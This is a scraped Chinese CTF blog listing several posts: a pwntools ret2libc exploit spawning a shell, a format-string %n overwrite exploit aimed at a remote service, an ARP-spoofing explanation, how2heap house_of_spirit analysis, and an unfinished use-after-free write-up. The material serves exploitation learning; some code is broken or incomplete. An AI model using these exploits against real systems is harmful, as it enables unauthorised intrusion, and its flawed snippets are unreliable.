执行完第一个payload后,获取到write函数的实际地址,用write_addr-write_libc_addr就能得到libc的加载基址。而加载基址加上libc.so.6中system的地址,就是system函数的实际地址了,同理,也能得到libc中"/bin/sh"字符串的地址,以此构造第二次payload。

payload='a'*88+(system_libc_addr+base_addr)+game_addr+(sh_addr+base_addr)

system调用完/bin/sh后就回弹shell了,因此后面的返回地址可以随便写,反正也回不去了-.-

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

#context.log_level = 'debug'



s=process("./pwn")

#gdb.attach(s)

elf=ELF('./pwn',checksec=False)

libc=ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False)



write_plt=elf.plt['write']

write_got=elf.got['write']

game_addr=elf.symbols['game']

write_libc_addr=libc.symbols['write']

system_addr=libc.symbols['system']

sh_addr=next(libc.search('/bin/sh'))



payload='a'*88+p32(write_plt)+p32(game_addr)+p32(1)+p32(write_got)+p32(4)

s.sendlineafter("name ?\n",payload)

#gdb.attach(s)

s.sendlineafter("? (0 - 1024)\n","123")
#gdb.attach(s)

write_addr=u32(s.recvuntil("What'")[-9:-5]) ### 这一句就很迷了 跟之前写的rop不一样 也查不到到底是什么意思
解决了的话会写个小tip。


print hex(write_addr)

base_addr=write_addr-write_libc_addr



payload='a'*88+p32(system_addr+base_addr)+p32(game_addr)+p32(sh_addr+base_addr)

s.sendlineafter("name ?\n",payload)

s.sendlineafter("? (0 - 1024)\n","123")



s.interactive()

format

1
2
最基本的格式化字符串溢出
可以看我之前关于格式化字符串漏洞的文章

1
1、利用格式化漏洞覆盖任意地址的值,这里我们需要覆盖secret的值,所以先要找到secret的地址,在IDA中,可以看到secret在bss段:

1
2
3
4
5
6
2、利用%k$n(k$用于获取格式化字符串中的指定参数)对指定地址进行覆盖

(%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量)
3、在栈中找到format的位置和 char s的位置,计算出他们的偏移

我们用gdb把断点定在printf处

1
然后运行,提示输出后,我就随便输入一个 %d%d

1
观察栈中的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
可以看出,printf的第一个参数(format)地址为:0xffffd920

这个format指向0xffffd94c,指向的这个就是我们char s的地址

有了这两个地址后,我们就可以计算format与char s的地址偏移,

offset = 0xffffd94c - 0xffffd920 = 0x2c = 44

由于这是32位程序,所以每个format参数占4个字节,即有44/4=11个参数,也就是说,第11个参数的地址,就是我们char s开始的地址。

所以 k=11。

我们把secret的地址放到char s开始的地方,那第11个参数的内容就是secret的地址。

这样,我们的%11$n就会把输出字符的个数写进secret。

所以们需要在 %11$n 构造 192 个字符,即%192d,

但由于我们在char s开始的地方放下了secret的地址,占了4个字节,所以只需要填充188个字符即可,也就是%188d

exp

1
2
3
4
5
6
from pwn import *
io=process('./format')
io=remote('117.50.13.182', 33865)
payload = p32(0x0804A048) + '%188d' + '%11$n'
io.sendline(payload)
io.interactive()

shitsco

Posted on 2019-09-03 | In 百度学习

静态分析

1
首先运行程序

ARP欺骗实战

Posted on 2019-09-02 | In ARP欺骗

原理

1
2
3
4
5
6
7
8
9
10
ARP欺骗的运作原理是由攻击者发送假的ARP数据包到网上,尤其是送到网关上。其目的是要让送至特定的IP地址的流量被错误送到攻击者所取代的地方。因此攻击者可将这些流量另行转送到真正的网关(被动式数据包嗅探,passive sniffing)或是篡改后再转送(中间人攻击,man-in-the-middle attack)。攻击者亦可将ARP数据包导到不存在的MAC地址以达到阻断服务攻击的效果,例如netcut软件。
例如某一的IP地址是192.168.0.254,其MAC地址为00-11-22-33-44-55,网上上的计算机内ARP表会有这一笔ARP记录。攻击者发动攻击时,会大量发出已将192.168.0.254的MAC地址篡改为00-55-44-33-22-11的ARP数据包。那么网上上的计算机若将此伪造的ARP写入自身的ARP表后,计算机若要透过网上网关连到其他计算机时,数据包将被导到00-55-44-33-22-11这个MAC地址,因此攻击者可从此MAC地址截收到数据包,可篡改后再送回真正的网关,或是什么也不做,让网上无法连线。
简单案例分析:这里用一个最简单的案例来说明ARP欺骗的核心步骤。假设在一个LAN里,只有三台主机A、B、C,且C是攻击者。
攻击者聆听局域网上的MAC地址。它只要收到两台主机洪泛的ARP Request,就可以进行欺骗活动。
主机A、B都洪泛了ARP Request.攻击者现在有了两台主机的IP、MAC地址,开始攻击。
攻击者发送一个ARP Reply给主机B,把此包protocol header里的sender IP设为A的IP地址,sender mac设为攻击者自己的MAC地址。
主机B收到ARP Reply后,更新它的ARP表,把主机A的MAC地址(IP_A, MAC_A)改为(IP_A, MAC_C)。
当主机B要发送数据包给主机A时,它根据ARP表来封装数据包的Link报头,把目的MAC地址设为MAC_C,而非MAC_A。
当交换机收到B发送给A的数据包时,根据此包的目的MAC地址(MAC_C)而把数据包转发给攻击者C。
攻击者收到数据包后,可以把它存起来后再发送给A,达到偷听效果。攻击者也可以篡改数据后才发送数据包给A,造成伤害。

实战

1
2


house_of_spirit

Posted on 2019-08-17 | In how2heap

0x01 源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

0x02 思路分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer.

通过构造 fake chunk,然后将其 free 掉,就可以在下一次 malloc 时返回 fake chunk 的地址。

house of spirit 通常用来配合栈溢出使用,通常场景是,栈溢出无法覆盖到的 EIP ,而恰好栈中有一个即将被 free 的堆指针。我们通过在栈上 fake 一个fastbin chunk 接着在 free 操作时,这个栈上的堆块被放到 fast bin 中,下一次 malloc 对应的大小时,由于 fast bin 的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个 fake chunk。所以 fake chunk 的伪造是关键。

fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

伪造情况如下

Pwndbg> p fake_chunks
$4 = {0xc2, 0x40, 0x7fffffffe3ae, 0x7ffff7ababe5, 0x1, 0x4008ed, 0x0, 0x0, 0x4008a0, 0x1234}
Pwndbg> p &fake_chunks
$5 = (unsigned long long (*)[10]) 0x7fffffffe370

其中 0x40 是chunk size,0x1234 是 nextsize。伪造 chunk 时需要绕过一些检查,首先是标志位,PREV_INUSE 位并不影响 free 的过程,但 IS_MMAPPED 位和 NON_MAIN_ARENA 位都要为零。其次,在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后,是 next chunk 的大小,必须大于 2*SIZE_SZ(即大于16),小于 av->system_mem(即小于128kb),才能绕过对 next chunk 大小的检查。

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
#define NON_MAIN_ARENA 0x4
size域的最低位表示 此块的上一块(表示连续内存中的上一块)是否在使 用状态, 如果此位为 0 则表示上一块为被释放的块, 这个时候此块的 PREV_SIZE 域保存的是上一块的地 址以便在 free 此块时能够找到上一块的地址并进行 合并操作。第 2 位表示此块是否由 mmap 分配, 如果 此位为 0 则此块是由 top chunk 分裂得来, 否则是由 mmap 单独分配而来。第 3 位表示此块是否不属于 main_arena, 在之后会提到main_arena是主线程用于保存堆状态的结构, 如果此位为 0 则表示此块是在 主线程中分配的

然后我们修改指针 a 指向fake chunk

// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);

修改后如下:
Pwndbg> p a
$11 = (unsigned long long *) 0x7fffffffe380--> $9 = (unsigned long long **) 0x7fffffffe368

成功指向了 fake chunk。当我free a的时候,系统会将 fake chunk 当做一块fastbins 处理,放到fastbins数组里。当我们再malloc的时候。我们就得到一块指向 stack 的 chunk。

Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffe370 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
这时如果我们 malloc 一个对应大小的 fast chunk,程序将从 fastbins 中分配出这块被释放的 chunk。
Pwndbg> x/10gx &fake_chunks
0x7fffffffe370: 0x00000000000000c2 0x0000000000000040
0x7fffffffe380: 0x0000000000000000 0x00007ffff7ababe5
0x7fffffffe390: 0x0000000000000001 0x00000000004008ed
0x7fffffffe3a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3b0: 0x00000000004008a0 0x0000000000001234
所以 house-of-spirit 的主要目的是,当我们伪造的 fake chunk 内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk 里填充一些字母,但在现实中这些位置很可能是不可控的,而 house-of-spirit 也正是以此为目的而出现的。

该技术的缺点也是需要对栈地址进行泄漏,否则无法正确覆盖需要释放的堆指针,且在构造数据时,需要满足对齐的要求等。

two string

Posted on 2019-08-15 | In 网络信息安全专项赛

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
RELRO           STACK CANARY      NX            PIE         
Partial RELRO Canary found NX enabled No PIE

具体步骤在uaf实例 差不多的题目这里直接简单解题

漏洞函数

int sub_E56()
{
int v1; // [rsp+Ch] [rbp-4h]

printf("Please input index : ");
v1 = sub_BE4();
if ( v1 < 0 && (unsigned int)v1 > 0x1F || !qword_202040[v1] )
return puts("Index error!");
free((void *)*qword_202040[v1]);
free(qword_202040[v1]);
qword_202040[v1] = 0LL;
return puts("Delete success!");
}

uaf漏洞

xfgg@ubuntu:~/Desktop$ ./pwn
1. create string
2. display string
3. delete string
4. merge string
5. merge strings
6. exit
>>> 1
Please enter the size of string : 2
Please enter the string : 1

create string 的结构
struct palyer{
int size;
int string;
}

0x02 思路分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
编写dynelf查看内存结构
def create_string(size,string)
p.recvuntil(" ")
p.sendline("1")
p.recvuntil(' of string:')
p.sendline(str(size))
p.recvuntil(' the string:')
p.sendline (string)

def display_string(index)
p.recvuntil(" ")
p.sendline("2")
p.recvuntil(' index:')
p.sendline(str(index))

def delete_string(index)
p.recvuntil(" ")
p.sendline("3")
p.recvuntil(' index:')
p.sendline(str(index))

create_string(32,'aaa')
create_string(32,'bbb')

delete(1)
delete(0) ### free掉创建的两个string 接下来就要构造fake chunk进行攻击

0x03 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
p = process('/home/xfgg/pwn')
elf = ELF('/home/xfgg/pwn')

def create_string(size,string)
p.recvuntil(" ")
p.sendline("1")
p.recvuntil(' of string:')
p.sendline(str(size))
p.recvuntil(' the string:')
p.sendline (string)

def display_string(index)
p.recvuntil(" ")
p.sendline("2")
p.recvuntil(' index:')
p.sendline(str(index))

def delete_string(index)
p.recvuntil(" ")
p.sendline("3")
p.recvuntil(' index:')
p.sendline(str(index))

create_string(32,'aaa')
create_string(32,'bbb')

delete(1)
delete(0)

magic
12…5

xfgg

42 posts
14 categories
3 tags
RSS
© 2019 xfgg
Powered by Hexo
|
Theme — NexT.Gemini v5.1.4
0%